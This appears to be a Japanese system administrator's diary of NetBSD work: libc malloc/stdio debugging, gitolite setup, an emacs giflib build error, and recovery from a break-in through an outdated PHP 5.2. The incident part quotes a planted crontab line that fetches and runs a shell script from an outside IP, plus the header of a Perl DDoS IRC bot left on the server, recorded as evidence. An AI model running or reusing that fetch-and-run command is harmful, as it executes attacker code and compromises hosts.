#0  0x00007f7ff789df92 in ?? () from /usr/lib/libc.so.12
#1  0x00007f7ff789e3d0 in ?? () from /usr/lib/libc.so.12
#2  0x00007f7ff789e689 in malloc () from /usr/lib/libc.so.12
#3  0x00007f7ff78ed28c in __smakebuf () from /usr/lib/libc.so.12
#4  0x00007f7ff78e24f8 in __srefill () from /usr/lib/libc.so.12
#5  0x00007f7ff78e2384 in __srget () from /usr/lib/libc.so.12
#6  0x00007f7ff7843997 in fgetc () from /usr/lib/libc.so.12

これはどういう時かな。確かに読んでいるファイルは大きいのだけれど。

% wc hoge.5itmp 
   43213  152201 1897759 hoge.5itmp

1.9MByte かな。でもそんなにやたらに大きということでもないと思う
次のような文字を教えても google は見向きもしない(ようだ)

in malloc ()
in __smakebuf ()
in __srefill ()
in __srget ()
in fgetc () from

ちなみに、次のところで説明されている問題は、まだ理解出来ていない。
fgetc が malloc を(勝手に)呼んでいるとして、そのメモリは、いつ free されるのだろうか ?

上記の答えは、「file descriptor を close すれば、開放される」
include/stdio.h

   112  typedef struct __sFILE {
   113          unsigned char *_p;      /* current position in (some) buffer */
   114          int     _r;             /* read space left for getc() */
   115          int     _w;             /* write space left for putc() */
   116          unsigned short _flags;  /* flags, below; this FILE is free if 0 */
   117          short   _file;          /* fileno, if Unix descriptor, else -1 */
   118          struct  __sbuf _bf;     /* the buffer (at least 1 byte, if !NULL) */
   119          int     _lbfsize;       /* 0 or -_bf._size, for inline putc */
   120  
   121          /* operations */
   122          void    *_cookie;       /* cookie passed to io functions */
   123          int     (*_close)(void *);
   124          int     (*_read) (void *, char *, int);
   125          __off_t (*_seek) (void *, __off_t, int);
   126          int     (*_write)(void *, const char *, int);
   127  
   128          /* file extension */
   129          struct  __sbuf _ext;
   130  
   131          /* separate buffer for long sequences of ungetc() */
   132          unsigned char *_up;     /* saved _p when _p is doing ungetc data */
   133          int     _ur;            /* saved _r when _r is counting ungetc data */
   134  
   135          /* tricks to meet minimum requirements even when malloc() fails */
   136          unsigned char _ubuf[3]; /* guarantee an ungetc() buffer */
   137          unsigned char _nbuf[1]; /* guarantee a getc() buffer */
   138  
   139          /* Formerly used by fgetln/fgetwln; kept for binary compatibility */
   140          struct  __sbuf _lb__unused;
   141  
   142          /* Unix stdio files get aligned to block boundaries on fseek() */
   143          int     _blksize;       /* stat.st_blksize (may be != _bf._size) */
   144          __off_t _offset;        /* current lseek offset */
   145  } FILE;
   146  

lib/libc/stdio/makebuf.c

    55  /*
    56   * Allocate a file buffer, or switch to unbuffered I/O.
    57   * Per the ANSI C standard, ALL tty devices default to line buffered.
    58   *
    59   * As a side effect, we set __SOPT or __SNPT (en/dis-able fseek
    60   * optimisation) right after the fstat() that finds the buffer size.
    61   */
    62  void
    63  __smakebuf(fp)
    64          FILE *fp;
    65  {
    66          void *p;
    67          int flags;
    68          size_t size;
    69          int couldbetty;
    70
    71          _DIAGASSERT(fp != NULL);
    72
    73          if (fp->_flags & __SNBF) {
    74                  fp->_bf._base = fp->_p = fp->_nbuf;
    75                  fp->_bf._size = 1;
    76                  return;
    77          }
    78          flags = __swhatbuf(fp, &size, &couldbetty);
    79          if ((p = malloc(size)) == NULL) {
    80                  fp->_flags |= __SNBF;
    81                  fp->_bf._base = fp->_p = fp->_nbuf;
    82                  fp->_bf._size = 1;
    83                  return;
    84          }
    85          __cleanup = _cleanup;
    86          flags |= __SMBF;
    87          fp->_bf._base = fp->_p = p;
    88          fp->_bf._size = size;
    89          if (couldbetty && isatty(__sfileno(fp)))
    90                  flags |= __SLBF;
    91          fp->_flags |= flags;
    92  }

上の中で size が気になる時には __swhatbuf も見る必要がある

    94  /*
    95   * Internal routine to determine `proper' buffering for a file.
    96   */
    97  int
    98  __swhatbuf(fp, bufsize, couldbetty)
    99          FILE *fp;
   100          size_t *bufsize;
   101          int *couldbetty;
   102  {
   103          struct stat st;
   104
   105          _DIAGASSERT(fp != NULL);
   106          _DIAGASSERT(bufsize != NULL);
   107          _DIAGASSERT(couldbetty != NULL);
   108
   109          if (__sfileno(fp) == -1 || fstat(__sfileno(fp), &st) < 0) {
   110                  *couldbetty = 0;
   111                  *bufsize = BUFSIZ;
   112                  return (__SNPT);
   113          }
   114
   115          /* could be a tty iff it is a character device */
   116          *couldbetty = S_ISCHR(st.st_mode);
   117          if (st.st_blksize == 0) {
   118                  *bufsize = BUFSIZ;
   119                  return (__SNPT);
   120          }
   121
   122          /*
   123           * Optimise fseek() only if it is a regular file.  (The test for
   124           * __sseek is mainly paranoia.)  It is safe to set _blksize
   125           * unconditionally; it will only be used if __SOPT is also set.
   126           */
   127          *bufsize = st.st_blksize;
   128          fp->_blksize = st.st_blksize;
   129          return ((st.st_mode & S_IFMT) == S_IFREG && fp->_seek == __sseek ?
   130              __SOPT : __SNPT);
   131  }

st というのは 103 行目 にあるが struct stat の構成要素(member)だ

modena@makoto 23:14:17/140627(/export/src)% (cd include;mkid; gid BUFSIZ)
stdio.h:181:#define     BUFSIZ  1024            /* size of buffer used by setbuf */

というのもある

この説明の中では gl-setup というのが不明。
pkg_info -D gitolite の表示では、以下の 5. が良く分らない
gitolite-admin は、まだ用意していないはず

To use gitolite, you will need to perform the following steps.

1. Create a new user/group, for example, git/git.

   On server,
        # groupadd git
        # useradd -m -g git git

2. login with new user git, create ssh public key, and copy public key
   file to user git's home directory on server.

        On server
        $ mkdir ~/.ssh
        $ chmod 700 ~/.ssh

        On client
        $ ssh-keygen -t rsa -f git
        $ scp ~/git.pub gitserver:~/

        On server
        $ chmod 600 ~/git.pub

3. Setup gitolite.

   On server,
        $ gitolite setup -pk git.pub

   And edit config file.

4. Setup ~/.ssh/config on client.
   Add the following lines.

        host gitserver
            user git
            hostname RealGitServerName
            port 22
            identityfile ~/.ssh/git

5. For administrative setting, please clone gitolite-admin repository.

        On client,
        $ git clone gitserver:gitolite-admin

image.c:7417:7: error: too few arguments to function 'DGifCloseFile'
/export/CHROOT/usr/pkgsrc/wip/emacs-current/work/.buildlink/include/gif_lib.h:183:9:
note: declared here

cat -n /export/CHROOT/usr/pkgsrc/wip/emacs-current/work/.buildlink/include/gif_lib.h |sed -n 175,195p

181  int DGifSlurp(GifFileType * GifFile);
182  GifFileType *DGifOpen(void *userPtr, InputFunc readFunc, int *Error); 
	/* new one (TVT) */
183      int DGifCloseFile(GifFileType * GifFile, int *ErrorCode);

cat -n work/emacs/src/image.c | sed -n 7400,7425p

7416        image_error ("Invalid image size (see `max-image-size')", Qnil, Qnil);
7417        fn_DGifCloseFile (gif);
7418        return 0;

image.c:7417:7: error: too few arguments to function 'DGifCloseFile'
image.c:7426:7: error: too few arguments to function 'DGifCloseFile'
image.c:7438:2: error: too few arguments to function 'DGifCloseFile'
image.c:7456:7: error: too few arguments to function 'DGifCloseFile'
image.c:7474:4: error: too few arguments to function 'DGifCloseFile'
image.c:7482:7: error: too few arguments to function 'DGifCloseFile'
image.c:7653:3: error: too few arguments to function 'DGifCloseFile'

05/18 の日記 に、「任意の bash or perl script を実行」そして、「一応手当てしたけれど」と書いた
どうもこれは php-5.2.14 が入っていた所為らしい。 crontab を書替えられる、とか、散々だった。

#@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh

こんなものも perl.txt.1 という名前で置いてあった

#!/usr/bin/perl
 
#############################################################################
#############################################################################
##  DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team       ## [ Help ] ####
##      Stealth MultiFunctional IrcBot writen in Perl          ##############
##        Teste on every system with PERL instlled             ##  !u @system

それで次の版に更新した

php-5.4.26nb1       PHP Hypertext Preprocessor version 5.4
ap2-php54-5.4.26    Apache (apache2) module for PHP5.4
php54-mysql-5.4.26  PHP extension for MySQL databases
php54-pgsql-5.4.26  PHP extension for PostgreSQL databases
php54-mbstring-5.4.26 PHP extension for multibyte characters support

この時に必要だった packages は次の通り

-rw-r--r--  1 makoto  wheel   2885641 Jun  1 09:52 openssl-1.0.1gnb1.tgz
-rw-r--r--  1 makoto  wheel     22049 Jun  1 09:25 php54-mysql-5.4.26.tgz
-rw-r--r--  1 makoto  wheel   2164469 Jun  1 09:24 ap2-php54-5.4.26.tgz
-rw-r--r--  1 makoto  wheel     45785 Jun  1 09:02 php54-pgsql-5.4.26.tgz
-rw-r--r--  1 makoto  wheel    631550 Jun  1 08:53 php54-mbstring-5.4.26.tgz
-rw-r--r--  1 makoto  wheel   4432685 Jun  1 08:52 php-5.4.26nb1.tgz
-rw-r--r--  1 makoto  wheel  11736461 Jun  1 08:00 mysql-client-5.5.36nb1.tgz
-rw-r--r--  1 makoto  wheel   2940164 Jun  1 07:53 apache-2.0.65nb2.tgz
-rw-r--r--  1 makoto  wheel   2822900 Jun  1 07:44 postgresql91-client-9.1.12.tgz
-rw-r--r--  1 makoto  wheel    435917 Jun  1 07:21 apr-0.9.20.2.0.65nb1.tgz
-rw-r--r--  1 makoto  wheel   2122095 Jun  1 06:34 libxml2-2.9.1nb1.tgz
-rw-r--r--  1 makoto  wheel    323576 Mar 22 07:02 xz-5.0.5.tgz

他の chrooted の 5.2 の機械で pbulk で作った。その時に使った limited list は次の通り

lang/php54
converters/php-mbstring
databases/php-mysql
databases/php-pgsql
www/ap-php

また (chroot の中の) /etc/mk.conf に次のようにも書いておいた

PKG_PHP_VERSION=54
PHP_VERSION_REQD=54

pkg_delete -n hoge を使って調べながら、手動で一つづつ入替えた。 (関係あるかな)